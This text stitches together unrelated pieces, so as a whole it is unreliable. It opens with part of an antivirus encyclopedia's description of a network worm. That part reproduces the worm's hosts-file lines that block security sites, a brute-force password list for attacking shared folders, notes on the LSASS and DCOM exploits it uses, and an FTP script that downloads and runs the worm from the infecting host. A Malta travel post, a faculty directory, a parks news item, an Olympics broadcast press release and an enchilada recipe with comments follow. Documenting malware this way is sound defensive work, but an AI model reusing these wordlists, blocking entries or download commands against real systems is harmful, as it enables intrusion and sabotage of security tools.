spm, submit, support, syma, tanford.e, the.bat, unix, usenet, utgers.ed, webmaster,
www, you, your, -._!, -._!@
Note: the first missing character should match, for instance, "Microsoft" as well as "microsoft".
Hostfile Manipulation
It overwrites the present "hosts" file with the following data to avoid accessing these sites:
127.0.0.1 www.symantec.com
127.0.0.1 securityresponse.symantec.com
127.0.0.1 symantec.com
127.0.0.1 www.sophos.com
127.0.0.1 sophos.com
127.0.0.1 www.mcafee.com
127.0.0.1 mcafee.com
127.0.0.1 liveupdate.symantecliveupdate.com
127.0.0.1 www.viruslist.com
127.0.0.1 viruslist.com
127.0.0.1 f-secure.com
127.0.0.1 www.f-secure.com
127.0.0.1 kaspersky.com
127.0.0.1 www.avp.com
127.0.0.1 www.kaspersky.com
127.0.0.1 avp.com
127.0.0.1 www.networkassociates.com
127.0.0.1 networkassociates.com
127.0.0.1 www.ca.com
127.0.0.1 ca.com
127.0.0.1 mast.mcafee.com
127.0.0.1 my-etrust.com
127.0.0.1 www.my-etrust.com
127.0.0.1 download.mcafee.com
127.0.0.1 dispatch.mcafee.com
127.0.0.1 secure.nai.com
127.0.0.1 nai.com
127.0.0.1 www.nai.com
127.0.0.1 update.symantec.com
127.0.0.1 updates.symantec.com
127.0.0.1 us.mcafee.com
127.0.0.1 liveupdate.symantec.com
127.0.0.1 customer.symantec.com
127.0.0.1 rads.mcafee.com
127.0.0.1 trendmicro.com
127.0.0.1 www.microsoft.com
127.0.0.1 www.trendmicro.com
Network Distribution (Shares)
Scans for shared folders and tries to gain write access with the following weak passwords:
(blank password)
!@#$ !@#$% !@#$%^ !@#$%^& !@#$%^&* % 0 00 000 0000 00000
000000 00000000 007 0wn3d 0wned 1 110 111 111 111111 11111111 11111111 12 121
121212 123 123123 123321 1234 12345 123456 1234567 12345678 123456789 12346
123467 1234678 12346789 123467890 1234qwer 123abc 123asd 123qwe 2002 2003 2600
54321 54321 54321 654321 654321 aaa abc abc123 abcd ACCESS access account accounts adm admin ADMIN Admin admin123 Administrador Administrateur administrator ADMINISTRATOR Administrator guest GUEST Guest pass pass123 pass1234 passphra passwd password PASSWORD Password password1 password123 unknown Unknown user USER User user1 usermane username userpassword win win2000 win2k win98 windose windows windows2k windows95 windows98 windowsME WindowsXP windowz windoze windoze2k windoze95 windoze98 windozeME windozexp wine wing winnt winpass winston winxp wired xp xx xxx xxxx xxxxx xxxxxx xxxxxxx xxxxxxxx xxxxxxxxx 007 test none changeme default system server null qwerty mail outlook web www internet accounts accounting home homeuser user user1 oem oemuser qaz asd qwe mike john peter luke ron sam barbara mary sue susan joan joe peter fred frank brian spencer lee neil ian george bruce kate katie login loginpass owa sage technical backup exchange exchnge fuck sex god hell fish heaven orange domain domainpass domainpassword database access dbpass dbpassword databasepass data databasepassword db1 db1234 sql sqlpass sa cisco dell compaq siemens yellow pink xp control mass office blank winpass capitol userpassword main hq headoffice ctx nokia lan internet intranet bill fred freddy
glen turnip afro user1 student student1 teacher staff oeminstall root Root ROOT CISCO Cisco
Drops one of the following files, if the worm successfully accessed a shared folder:
Exploiting technologies
The worm generates random IP addresses and attempts to connect to port 445 of the generated IP's to exploit the LSASS buffer overflow vulnerability [see MS04-011]. If the vulnerability exploit is successful, it executes code (shellcode) on the target machine, which instructs it to connect back to the source in order to retrieve a copy of the worm. (This copy is uploaded to the target machine by the created FTP Server-Connection using 2pac.txt FTP-Commands file)
The worm takes also advantage of the DCOM RPC vulnerability [see MS03-026] for spreading.
The 2pac.txt file contains the following ftp commands:
open %IP% %TCP port%
user hell rulez
get bingoo.exe
The worm executes FTP.EXE locally on the compromised system to retrieve a copy of the worm with the name "bingoo.exe" from the connecting system, and starts this file after downloading.
Other Details:
The worm also provides IRC-Backdoor functionality with the following functions:
Downloading files
Downloading new worm updates
Executing files
Providing uptime information to the remote controller
Providing information about the worm variant to the remote controller
Notifying IRC Channels/Operator via private message
Restarting the computer
The worm is able to send copies via MSN Messenger to all online contacts in the contact list.
©1992-2005 Eset All rights reserved. No part of this Encyclopedia may be reproduced, transmitted or used in any other way in any form or by any means without the prior permission


text:
4 Best Places to Discover in Malta
Guest Post by Captain Morgan Cruises
Malta's social scene is certainly furnished with concerts, exhibitions, performing arts and clubbing events, and the island most definitely makes good use of some of the cultural venues available.
The island also attracts some of the biggest names in the music industry, in particular The island of MTV concert, which is held during the summer period. Smaller venues such as St James Cavalier and the Manoel Theatre are always hosting local performers and showcasing local art. With Malta's various picturesque alleyways and narrowing streets giving the most perfect backdrop for historic enactments, exhibitions and family activities, this fascinating Island serves as an ideal place to visit for that short or long break from it all, and during ones stay you will also get to visit some of the most inspirational places in the world.
Below are 4 of the best places to discover first:
Malta's Three Cities – Victtoriosa, Senglea, Cospicua
Go back into a past when visiting the Cottonera fortress, also known as The Three Cities: Cospicua, Vittoriosa and Senglea. These cities were constructed by the Knights of Malta and as you walk through their historic beauty you'll notice the various ancient churches, palaces and shady alleyways. A fascinating place and certainly worth one's holiday time.
The Silent City – Mdina
Mdina is known as the Silent City, which one will directly discover while strolling through the medieval town itself. The heritage and culture existing from within the city walls is rich (to say the least) and its secretive and sinuous streets take you through to a Malta long gone. Seeing the city's bastions is certainly a site as there is a stunning view of the entire island – certainly a must-visit.
Marsaxlokk and the Blue Grotto
Malta has some of the best sites and scenery in the world, and the Blue Grotto is certainly something to have on your to-do list while visiting. Its sparkling blue sea will most definitely leave a lasting impression. Should the weather be decent enough, taking a boat across the grottoes and caves is great fun, as you will get a chance to see a close-up of its corals and luminescent waters.
Marsaxlokk is also another great place to visit with its fishing village and Sunday fish market. The market attracts a great number of people from all over the island due to its local produce. Spotting the traditional Maltese boats from across the coast is certainly fun as one walks through the market itself. Browsing through the various stalls and admiring some of the most magnificent fish on display is a great way to spend your Sunday morning while on the island.
Malta's Sister Island – Gozo
Gozo is most certainly one of the best places to visit during ones stay in Malta, and the island's excursions are definitely worth getting involved in. The ferry only takes twenty five minutes from Malta and as soon as you get there you'll undoubtedly experience a different feel. Arriving at the port of Mgarr you may notice how similar Gozo is to Malta, except for the fact that Gozo possesses certain unique traits – Gozo has more countryside than Malta, and its roads and land in general are much more rugged.
This charming island is a must-visit as its beautiful countryside and popular sites (such as the Azure Window, the islands cliffs of Xlendi Bay and Victoria's Citadel) will have you bewitched by their natural beauty.
And last but not least, the Ggantija Temples, which are known for being the oldest freestanding temples in the world. The island also holds a very good reputation for its natural produce, which includes handmade lace, cheese, honey, all of which can be picked up from the local Gozo markets quite readily.
Captain Morgan owns and operates a number of different cruise ships and provides cruises, excursions and other ferry services on the Island of Malta.


text:
MPA Faculty
Diane Brown
Phone: (707) 664-2731
Email: email@example.com
MPA, Sonoma State University, is the Coordinator of the MPA program and teaches graduate courses in nonprofit governance and legal issues, planning, resource development/fundraising, nonprofit dynamics, and the comprehensive exam tutorial.
Donald Dixon
Phone: (707) 664-2179
Email: firstname.lastname@example.com
Ph.D., University of California, Santa Barbara, teaches graduate courses in planning, implementation, evaluation, public policy, and research methods. He teaches prerequisite courses in state and local government, California politics, and urban politics.
David McCuan
Phone: (707) 664-3309
Email: firstname.lastname@example.com
Ph.D., University of California, Riverside, teaches graduate courses in the administrative state, public policy, and personnel. He teaches prerequisite courses in federalism and intergovernmental relations, as well as state and local government.
Andy Merrifield
Phone: (707) 664-3946
Email: firstname.lastname@example.com
Ph.D., University of California, Davis, teaches budgeting, public policy, ethics, and organizational theory. He teaches prerequisite courses in federalism, intergovernmental relations, and state and local government.
Catherine Nelson
Phone: (707) 664-3963
Email: firstname.lastname@example.com
Ph.D., University of California, Davis, teaches graduate courses in ethics and personnel.
David Ziblatt
Phone: (707) 664-2179
Email: firstname.lastname@example.com
Ph.D., University of Oregon, teaches graduate courses in the administrative state, organizational theory, and public policy. He teaches prerequisite courses in interest groups and political parties.
Practitioners with expertise in public and nonprofit management teach courses in the Public and Nonprofit Concentrations.


text:
Created: 07/06/2013 8:53 AM KSTP.com By: Cassie Hart
This weekend is one of the busiest of the year for Minnesota State Parks. They'll see 430,000 visitors each day this weekend. Linda Radimecky from Afton State Park stopped by the KSTP studio to talk about some of the fun things to do at the state parks this summer.


text:
Olympic Games coming home to CBC/Radio-Canada - IOC awards broadcaster Canadian broadcast rights for Sochi 2014 and Rio 2016
LONDON, England, Aug. 1, 2012 /CNW/ - The International Olympic Committee today announced that CBC/Radio-Canada has been awarded the Canadian broadcast rights for the Sochi 2014 Olympic Winter Games and the Rio 2016 Olympic Summer Games. As part of the agreement, the two parties entered into a new partnership that is unique to Canadian Olympic broadcasts. Canadians will have full access to all the excitement of the Olympic Games wherever and however they choose to cheer on Canada's best athletes.
In making the announcement from London, CBC/Radio-Canada President Hubert Lacroix said, "This is excellent news for Canadians across the country who will once again experience the Olympic tradition with their public broadcaster. We've promised Canadians signature events on all our platforms that create opportunities to connect with each other and the country. I can't think of a greater opportunity to create those connections and generate pride than showcasing the Olympic Games and the performances of our own Canadian athletes."
IOC President Jacques Rogge said, "Canada is a sports loving nation and Canadians are big fans of the Olympic Games. CBC/Radio-Canada has a wealth of experience in broadcasting sports and the Olympic Games and we are pleased that we will once again be joining forces with them in the future."
For almost 60 years, and on 19 different occasions, CBC/Radio-Canada has broadcast the Olympic Games, more recently with the Beijing 2008 Olympic Summer Games.
About CBC/Radio-Canada
CBC/Radio-Canada is Canada's national public broadcaster and one of its largest cultural institutions. The Corporation is a leader in reaching Canadians on new platforms and delivers a comprehensive range of radio, television, Internet, and satellite-based services. Deeply rooted in the regions, CBC/Radio-Canada is the only domestic broadcaster to offer diverse regional and cultural perspectives in English, French and eight Aboriginal languages.
SOURCE: CBC/RADIO-CANADAFor further information:
Chuck Thompson
Head of Media Relations
CBC/Radio-Canada, English Services


text:
May 31 2012
Easy Green Chile Enchiladas
When I was in Albuquerque with Marlboro Man and the boys a month ago, I had a really fun book signing. Such incredibly nice and lovely people. (Hi, ABQ!) However, I didn't eat much the day of the signing, and by the time the signing was over that night I was ravenous. But the thought of eating a late-night burger just wasn't cutting it, considering I was in Albuquerque, New Mexico. I wanted something with flavor! With spice! Never mind that my boys were clamoring for McNuggets! I was not going to be thwarted!
Sorry about the exclamation points. Won't happen again!
The late hour was a consideration, and after asking around a bit, Marlboro Man, the boys, and I landed at Flying Star Cafe, where I picked up an order of Green Chile Enchiladas and hurried back to my hotel room to snarf it down.
It was to die for.
Here's my super-easy version below. Flying Star's enchiladas were actually "open faced" enchilada stacks—super simple to make, and they look mahvelous. Flying Star used blue corn tortillas, and if you have those available to you, go for it! They're mighty purty.
Start with a can of green chile enchilada sauce. This is Hatch brand, but any kind will do.
Throw in two small cans of diced green chiles.
I used a combo of sauce and chiles because I wanted the sauce to be saucy, and also because the sauce has some spices and other things going on. But really, I only gave it about 18 seconds of thought. You could just heat up a few cans of chopped green chiles if you wanted to. The sauce will be thicker, but thicker never hurt anyone.
I'm rambling this morning.
Anyway, just heat the sauce over medium-low heat until it's nice and piping warm.
Piping warm?
Never mind.
Now, in a skillet, saute a chopped onion with a couple of tablespoons of butter.
Until they're starting to turn golden brown. Set these aside for a sec.
Top 'em with grated cheddar-jack cheese…
(Or any grated cheese.)
Melt them either in the oven or microwave (I nuked these because I was impatient), then spoon a generous amount of onions all over the top.
Then grab a good helping of this yumminess…
And spoon it all over the top.
This is a conservative portion of sauce. Really lay it on thick if you want!
Next, add some salsa (or pico de gallo if you have it). I actually got both green and red sauce with my Flying Star enchilada stack, and it was the best of both worlds.
I love plates of food with different things going on.
And different colors.
Divine. And so ridonkulously easy. And note: this is a very generous portion! Back it down to two or even one tortilla if you're not that hungry. The green chile is the star of the show here anyway.
Print Options
Easy Green Chile Enchiladas
- Prep Time:
- Cook Time:
- Difficulty:
- Easy
- Servings:
- 4
- 1 whole Onion, Diced
- 2 Tablespoons Butter
- 1 can (15 Oz. Size) Green Enchilada Sauce
- 2 cans (4 Ounce) Chopped Green Chilies
- 12 whole Corn Tortillas
- 2 cups Freshly Grated Cheddar (or Cheddar-jack) Cheese (or Any Cheese You'd Like)
- Sour Cream
- Salsa
- Pico De Gallo (optional)
- Guacamole (optional)
- Cilantro Leaves (optional)
Preparation Instructions
In a small skillet, saute onions with the butter over medium-low heat until the onions are nice and golden brown.
In a small saucepan, combine green enchilada sauce with green chilies and heat until very warm.
In the oven (on a baking sheet) or microwave, melt cheese all over the top of each tortilla so that it covers most of the surface area.
To serve, stack three cheesy tortillas on top of one another. Spoon green sauce over the top and add salsa, sour cream, pico de gallo, and cilantro as needed.
Delish and so, so easy!
(Save extra sauce for use on nachos, quesadillas, chicken, etc.)
202 Comments and 43 Replies
Sarah K On Thursday, May 31 at 9:36 am
Looks delish!!
Rene On Thursday, May 31 at 1:18 pm
Love this idea! thedomesticlady.com
Lisa @ www.bakedinmaine.com On Tuesday, June 26 at 8:21 am
These enchiladas look soooo delish!
Where can I find Hatch?
I live in Maine.
Annie On Thursday, May 31 at 9:37 am
Those look so good! Might have to try this weekend, maybe throw in some leftover chicken?
Sharon K. On Thursday, May 31 at 11:50 am
I make enchiladas just like this and throw in chicken. Hatch is the BEST enchilada sauce in the world IMHO
Kristi On Thursday, May 31 at 4:00 pm
There is no better Enchilada sauce…and as a Texas living on the New Mexico border, I speak from experience! I whip my corn tortillas through a quick hot oil bath..makes them pliable…it's a fatty recipe for sure…but people love it!
Helen Beasley On Thursday, May 31 at 5:31 pm
I was born and raised in Southern Colorado, but I am an Okie now. I'm with Kristie. A hot oil bath and roast your green chiles and sprinkle a little garlic powder ahead of time. This will "WOW" you. My brother's send me my chile powder from New Mexico. Love them!!!!!
Erin TX to MN transplant On Saturday, June 2 at 3:17 pm
Hey Kristi,
I grew up in TX and can't live without chilies! If you want to save on the fat, try dipping the tortillas in some of the heated sauce for a few seconds (as you would with the heated oil). It's does the same thing without adding the fat and even adds more flavor to the tortillas! =]
SeattleDee On Saturday, June 2 at 10:28 pm
Absolutely! throw in some chicken and you have heaven on a plate.
AGinTO On Sunday, June 3 at 2:20 pm
Okay wow…all these suggestions for spicing up the enchiladas here have me drooling.
wartiger On Thursday, May 31 at 9:39 am
looks devine. green chiles are the best part of mexican food in my humble opinion.
cant wait to try
ann On Thursday, May 31 at 9:41 am
Oh my, after all the ranting about the pasta carbonara I can't wait to read the comments about these enchiladas. I love all food — don't care what you call it.
Ang On Thursday, May 31 at 11:12 am
I was thinking the same thing . . . . one person's version and she likes it and wanted to share . . . Thanks Ree for ALL of your recipes. What a boring world if we all wanted and liked the same thing! No matter WHAT you call it, it is good grub!
Rebbie On Thursday, May 31 at 9:42 am
I enjoyed your book signing in Albuquerque. I thought you were incredibly nice and lovely as well. I'm glad you got some good food while you were here. Flying Star is one of our favorite splurges.
trazee On Thursday, May 31 at 9:42 am
Yum, looks good and quick!
Urban Wife On Thursday, May 31 at 9:43 am
Some chopped chicken on top would make it a meal! Thanks for sharing.
Jeanne C On Thursday, May 31 at 9:43 am
That looks wonderful, definately making this weekend. I was already planning on making your Beef Nachos(heavenly). I'll make extra meat for left overs & toss some on the Chile Enchiladas
Raven Fox On Sunday, June 3 at 4:56 pm
Living here in Santa Fe, NM or any other place in this state when you use the green along with the red we call it "Christmas ". Nice favors of the mild chili (green) and the hotter (red).
Kathy in Kansas On Thursday, May 31 at 9:48 am
This looks so yummy. And my daughter who doesn't eat meat will love it! Thanks for another great recipe.
doaa m baghdadi On Thursday, May 31 at 9:48 am
Allyn On Thursday, May 31 at 9:52 am
These look SO good. I love when I get a good recipe to make something at home that I would normally order out. Like killer fried rice (http://lollingabout.wordpress.com/2012/05/11/foodie-friday-coconut-curried-fried-rice/)
I could live off of Mexican and Asian food happily for forever.
Nicole On Thursday, May 31 at 9:57 am
Looks yummy, for some reason I was thinking this was going to be breakfast. I'm thinking add eggs to this….I love eggs. I'm drooling now…haha
Jack On Friday, June 1 at 1:34 am
Now that sounds really good.what time should we be there.lol
Kim Howard On Thursday, May 31 at 10:00 am
I love green chile enchiladas and I usually add chopped black olives and some yellow corn to it to give it a little more ummph Delicious!
Donna J. On Thursday, May 31 at 10:06 am
Oh, I love this easy version!
Displaced Sooner On Thursday, May 31 at 7:42 pm
Cheryl Barker On Thursday, May 31 at 10:09 am
Recipes with easy in the name are my kind of recipes!
K.J. On Thursday, May 31 at 10:20 am
Would love to know how to make the green chile sauce. Anyone?
SallyJoJo On Thursday, May 31 at 10:39 am
I have been making this for years and LOVE it! It's more work, but worth it in my opinion! I use a variety of different peppers, not just green chili's. Hope you enjoy
Sirena On Thursday, May 31 at 11:32 am
It's killer easy and a thousand million times better than anything jarred or (ew) canned. Take 4 tomatillos, washed and free of husks; half an onion; two garlic cloves; one chile; simmer in water until tomatillos are super soft. Strain the tomatillos, onions, garlic, chile, reserving some of the water;; blend together with a handful of cilantro, a quarter fresh chopped onion (rinsed in water or "deflamed" to take away that sharp onion aftertaste); and add water til sauce is the consistency you want. Add salt and lime juice til it tastes vibrant. You can leave your sauce chunky or super smooth; and it will thicken as it cools, so I recommend you make it more water than you need to.
You may also broil all the ingredients til they blacken and blister for roasted tomatillo salsa. Add an avocado if you want it super creamy. That's it!!! SO easy, super mexican (this is the real deal in Mexican homes) and better than store-bought.
doodles On Thursday, May 31 at 12:01 pm
try this……………..and make it to your liking.
Angela in N.M. On Thursday, May 31 at 12:48 pm
Green Chile Sauce (adapted from Cocinas de New Mexico)
1 Tbs shortening
1/2 cup chopped onion
2 Tbs flour
1 cup chopped green chile
2 cups of cooking tomatoes or 2 cups of chicken broth
1/4 tsp garlic powder
3/4 tsp salt
Melt shortening in a large skillet. Saute until tender, and add flour. Mix well. Add chopped chile, tomatoes or chicken stock, garlic, and salt to the onion. Simmer for 20 min. and serve.
This makes about a pint of sauce and it freezes beautifully. This is also basic and pretty versitile, so you could make it to your liking.
K.J. On Thursday, May 31 at 4:10 pm
Thanks ya'll for your help!
MyFrogs On Tuesday, June 5 at 2:51 pm
Live in NM and the recipe given above is pretty acurate, everything adjusted to your liking. You can use water so it doesn't taste like chicken gravy, then season to taste. I put in on everything from enchiladas to burritos to french fries (chile fries!).
Diane On Thursday, May 31 at 10:22 am
Looks yummy, thanks for sharing. I will have to give this a try.
Karen On Thursday, May 31 at 10:28 am
Nothing takes the place of Hatch's Green Enchilada Sauce in my book! I can't wait to try this recipe.
doodles On Thursday, May 31 at 10:33 am
Have been to Flying Star. Have replicated this probably a bajillion times. I keep changing it up by adding guacamole sometimes, chopped green onions sometimes.
I have been meaning to ask you Ree have you ever been to Cielito Lindo? It's a little taquito joint in Olvera Street. Sister and I have replicated their green sauce they make to ALMOST perfect. Would be happy to share.
Christine Sanchez On Thursday, May 31 at 4:13 pm
Cielito Lindo has the best taquitos ever. Miss them, since leaving Ca.
Jode On Friday, June 1 at 10:18 am
will you post the receipe for the green sauce? been there lots when we lived in S. CA also, talked about their green sauce many times but never attempted to make it. Thanking you in advance.
CArolyn On Thursday, May 31 at 10:34 am
YUM!!! And purty
Steph On Thursday, May 31 at 10:35 am
Ree – I was wondering if you had a chance to get some green chile while you were here in Alb – I'm glad you went to the Flying Star. Your recipe looks like a good version of a local favorite!!
Catherine Brown On Wednesday, June 27 at 7:59 pm
Ree, out-of-state folks can easily order Hatch green chile and also red chile products from the "New Mexican Connection" online…….I love to share my adopted state's wonderful and flavorful chiles with those less fortunate!!!! Love ya! Cathy
Katrina @ Warm Vanilla Sugar On Thursday, May 31 at 10:36 am
Whoa. So easy! Love it!
Meredith On Thursday, May 31 at 10:42 am
My family has made red enchiladas like this for years except I lightly heat the corn tortillas in oil to get them a little floppy (such a technical term, I know) and then I put the tortillas into the enchilada sauce and coat them real well on both sides with red enchilada sauce before putting on a plate a topping with cheese. I do three tortilla/cheese layers and then top with cheese and a fried egg – trust me…DELISH! I'm going to have to give this green chile version a try. Thanks!
AshleeG On Thursday, May 31 at 11:25 am
Ree- I agree with Meredith on the lightly frying the corn tortilla, it helps hold it together. In my fam we stack our own tortillas on a plate and then stick each plate in the oven to warm. Great for picky eaters! And the fried egg?? YES please try it! In my family we don't eat enchiladas without a fried egg!
terrillr On Thursday, May 31 at 12:34 pm
Ditto here.. Red or green stacked enchiladas have fried tortilla dipped in the sauce before the plate. More sauce that way! And, next time you're in New Mexico, you can try a green chili cheese burger for a bit of spice. I ALWAYS have to have one before I head back to Texas.
janmaus On Friday, June 1 at 12:41 pm
A close friend of mine grew up in SW TX and NM–always made stacked enchiladas instead of rolled ones–not only do they fill the plate nicely, you don't have to worry about them breaking when you try to roll them.
My green chili sauce is similar to Sirena's, except I add more roasted/peeled/diced green chilis and always keep it chunky.
I can't stand it–have to have these for lunch!!!
Celina On Thursday, July 12 at 5:42 pm
I'm in agreement with Meridith. Fry the tortillas, and if and when you can try to get fresh or frozen chili apart from the canned. Canned just doesn't compare.
I've lived in NM all of my life. My family is "Old World" and we trace our roots back to the founding families of Albuquerque and the Spanish Conquistadors. Chile is in my blood. We make green chili enchiladas in the form of a casserole with a creamy sauce instead of just chile. The red are done with dried pods or powder.
IF you REALLY want good New Mexico food try Sadie's (THE ONE ON 4th!) or El Pinto. Flying Star doesn't compare, but their desserts are the best in town. Another place (a tiny hole in the wall) is Padilla's. With both Sadie's and Padilla's the wait time is usually around an hour+ expect 2+ in at Sadie's in some cases if your there on the weekends. El Pinto is the place where the celebrities come to eat New Mexican food and its a bit more high end.
Also, PLEASE never confuse Mexican food with New Mexican food. It's a BIG, BIG no-no. Especially if you are ever head into the mountainous regions of Northern NM like Toas or Espanola.
Note: El Pinto jars their green chili and sells it online… It's better than the canned, but still doesn't compare to fresh. If anyone is interested, here is the link: http://www.elpinto.com/restaurant
Sarah P On Thursday, May 31 at 10:46 am
We went to ABQ for spring break and ate at the FLying Star. If you ever go back, try the Creme Brûlée Donut. To. Die. For. Best donut I've ever eaten.
alyce On Thursday, May 31 at 10:48 am
If you only knew how much I love New Mexican food, especially green chiles, and how difficult it is to find green chiles or green chile enchilada sauce at any of the stores around my parts.
Le sigh!
Jennifer On Thursday, May 31 at 1:44 pm
You can order green chiles from New Mexico…. http://www.newmexicanconnection.com I know if I ever moved out of NM I would definitely have to stock up on green chile.
Danielle C On Thursday, May 31 at 10:51 am
This looks delicous and now I have a great idea for dinner. I think I might add some chicken for protien value. Thank you so much for posting this. Love from CO!
kay43026 On Thursday, May 31 at 11:01 am
Those enchiladas look so good…I wanted to eat my computer monitor!!
Sylveria McCue On Thursday, May 31 at 11:19 am
My family is from NM and I grew up eating NM open face style enchiladas. Imagine my surprise when I ordered an enchilada from a restaurant and ended up with little burritos covered in sauce and cheese.
Kristine On Thursday, May 31 at 11:26 am
Love the Flying Star Cafe! Great food and atmosphere….the place to go when we're visiting family in Albuquerque!
Adrienne @ Midwestern Belle On Thursday, May 31 at 11:43 am
Can't wait to try these – Green enchiladas are my favorite! And I'm bummed I didn't know about Flying Star Cafe last time I was in ABQ…
Caren On Thursday, May 31 at 11:43 am
Those look absolutely wonderful! When we rode our motorcycles out to NM we were suprised that almost everything (and I do mean everything!) comes with green chili. I will say that it certainly made the dishes we ate even better with the flavor it added.
Thank you for sharing!
Julie Phelps On Thursday, May 31 at 11:56 am
Oh boy, another great idea that is suitable for me to put a fried egg on top!
Living alone, I often eat eggs for dinner – eggs on a huge variety of things that are generally classified as leftovers. My habit is to cook up food over the weekend that can be portioned out during the week in a variety of ways.
Extra large batches of pulled pork, for instance, can be mixed up with barbecue sauce and served on a bun, over a baked potato, combined with some sauce or gravy and served over noodles – well, you get the idea. Many of my meal concoctions are designed to use up other items in the fridge, so veggies and all do not go to waste. Sometimes the pork, or chicken, or other, is thrown together in a saute pan with veggies and potato or rice or – you name it. Sometimes it comes out Italian, sometimes Asian, sometimes TexMex. Many such inventions are even more yummy when topped with a fried egg!
OK, now I am hungry again.
Leslie On Thursday, May 31 at 11:57 am
Hubby and I are flying into Albuquerque tomorrow evening and I've been shopping for a place to eat. Love enchiladas so we'll stop at the Flying Star and try some. Thanks!
Steph On Thursday, May 31 at 12:11 pm
While Flying Star is very delightful (and there are numerous locations), you really need to go to a more "authentic" NM restaurant for enchiladas or anything New Mexican. Try Monroe's on Osuna, or Los Cuates on Lomas or any of the dozens local restaurants. They'll ask you red or green: I say Green!!!
jessica lynn On Thursday, May 31 at 1:12 pm
To piggyback on Leslie, also try Papa Felipe's and Frontier Restaurant! Flying Star is great, but those are better (not a huge fan of Los Cuates, personally).
Sandra On Thursday, May 31 at 1:31 pm
When in Albuquerque please try Eloy's at 1508 Wyoming NE. We stay in Alb. once a year & we eat both lunch & dinner at Eloy's. It is authentic. My favorite is chile rellenos. They always ask 'red or green sauce'. I buy my chiles when I'm in Alb…have them roasted right there on Wyoming. Pack them in dry ice & off we go back to GA. I always cook from scratch. For me, it is so much better.
Jennifer On Thursday, May 31 at 1:47 pm
Los Compadres… they have really good Carne Adovada… (marinated pork in red chile)
Alexandra On Thursday, May 31 at 1:54 pm
I have to say that I'm also not a fan of Los Cuates. Definitely hit up Frontier or El Pinto (a must is their margarita and DELICIOUS salsa and guacamole. Also, it got a beautiful location). Flying Star is yummy, but you're definitely not going to get a totally New Mexican experience.
Wende On Thursday, May 31 at 7:00 pm
From a New Mexico girl…my hubby and I adore Mary and Tito's on Fourth Street just north of Menaul. Recent winner of the James Beard Foundation Food and Beverage Award. Cant get more "local" than here. And since we're "West Siders" I.e. Live west of the Rio Grande in ABQ, we're also quite fond of Seferino's in Rio Rancho. See all you chileheads soon!
Pandora On Saturday, June 2 at 1:30 pm
Casa de Benavidez on 4th Street is also good. I haven't been to Mary & Tito's or Los Cuates in years. I'm fond of La Casita (or is it Mi Casita??) in Bernalillo.
MyFrogs On Tuesday, June 5 at 2:57 pm
So glad someone spoke up and suggested other places to eat good NM food! Flying Star isn't it….
Baca (can't get much more NM than that) On Friday, June 8 at 7:57 am
Agreed Flying Star is a great coffee shop but not where i go when i need my fix! Padillas or Sadies – now you are talking! Or when in Santa Fe Tomasita's.
Kellee On Sunday, June 24 at 3:52 pm
Born and raised in NM…everytime we fly back we hit Frontier for breakfast, and either El Pinto, or Sadies for lunch and dinner. We also buy a styrofoam cooler to bring home as much Bueno frozen green chile as possible. LOVE it!
CB On Thursday, July 12 at 5:47 pm
Casa de Benavidez! My namesake! Definitely worth a trip as well.
Jan C. On Thursday, May 31 at 11:59 am
I used frozen chopped green chile to make my sauce-there are several brands out there-tastes much better than canned and it's available year-round here. Red is also available and it's really good.
neo On Thursday, May 31 at 12:05 pm
Looks easy and yummy. Great recipe for a busy family. Thanks!
Julie B. On Thursday, May 31 at 12:06 pm
For those of you that want a great green chili, try ordering them on line from 505 chili. We order jars and jars of them to use, and they also have convenient individual packets that are super handy!
Laura B On Thursday, May 31 at 12:22 pm
Am nearing the end of a complete kitchen remodel,and am starting to shop for small aplliances.Just wondering if you all had suggestions? Toaster, coffee pot, ect. that you really love!!!
Carolyn On Thursday, May 31 at 12:26 pm
Green enchiladas are a family favorite, but we'll take any kind! Guess you could add some chopped steak or chicken for added protein if you wanted. Thanks for this recipe!
Paddy On Thursday, May 31 at 12:29 pm
I love Flying Star and I love enchiladas. Flat is so much easier (when you're in a hurry) than rolled. This recipe is very similar to how I make mine.
Jennifer W On Thursday, May 31 at 12:32 pm
Ree, I am glad you found some good green chile in ABQ! It was a great book signing at ABQ Academy and I was humbled how you greeted everyone with the same enthusiasm and sincerity! You are the real honest deal and that is why you have so many loyal fans! Here's to Ree and NM Green Chile!
Patsy K On Thursday, May 31 at 12:35 pm
You are making me so hungry for green chili enchildadas, especially those with fresh Hatch green chilies. Miss living in El Paso where we could get those all the time!
Annabelle On Thursday, May 31 at 12:35 pm
Wonderful! We moved from the ABQ area a year ago and miss Flying Star terribly.
ann On Thursday, May 31 at 12:46 pm
Cuisinart electric pressure cooker — you can brown in it or even use it as a slow cooler. Wish I had it while I was still working and all the kids were at home.
ann On Thursday, May 31 at 1:29 pm
This was a response to Laura B. Don't know what happened.
Laura B On Friday, June 1 at 3:15 pm
Thank you ann…at least someone responded!!!
Jilly P On Thursday, May 31 at 12:48 pm
I, too recently discovered Hatch green enchilada sauce. This stuff ROCKS as a pantry staple. You can also take the same basic ingredients above, along with some shredded cooked chicken, roll em up and make some wicked chicken enchiladas. This sauce can be warmed with on can of green chiles and used as a fresh, warm salsa…..This Texas girl loves her some New Mexico Mexican food!! Thanks for sharing!
Another tip: Use half green chile and half red chile enchilada sauce….in NM restaurants, you order it "Christmas."
Marilyn On Thursday, May 31 at 12:49 pm
I'm with you Julie on this one. Definitely a fried egg on top. I love flat enchiladas.
ABQ Steph On Thursday, May 31 at 12:51 pm
Thank you for coming to ABQ. It was an absolute thrill to meet you and I'm so glad you had the chance to enjoy some great food while you were here!
Carolyn H On Monday, June 11 at 1:35 pm
Laura B-you need a Kitchenaid stand mixer. They last forever & have attachments that are great. I use the meat grinder to make my own hamburger meat-no pink slime!
Karen On Thursday, May 31 at 12:55 pm
Great way to make green chile sauce: tomatillos, garlic, onions, jalapeno or other peppers, cut up and roasted for a bit, then transfer to blender.
Anna S. On Thursday, May 31 at 12:59 pm
OK…my Mexican blood is going…WHAT…you didn't quickly fry or griddle the tortillas first? But…I have to try it first to see if I like it…which is what I always do with your recipes and I am never disappointed with your recipes. I would definitely add shredded chicken & fresh cilantro though. Muchas Gracias for another awesome recipe idea!!!! Tu eres una chica linda!
Kendra @ My Full-Thyme Life On Thursday, May 31 at 1:11 pm
Yum! This is making the watermelon I am snacking on look bad! My husband makes the best green chili known to man (I'm not even kidding about that) and we are always looking for new ways to eat it. This is perfect!
ABQ Mary On Thursday, May 31 at 1:12 pm
Looks good, but I'd use fresh or frozen green chile (Bueno's Autumn Roast is my fav) and definitely the Hatch enchilada sauce!
Laura On Thursday, May 31 at 1:14 pm
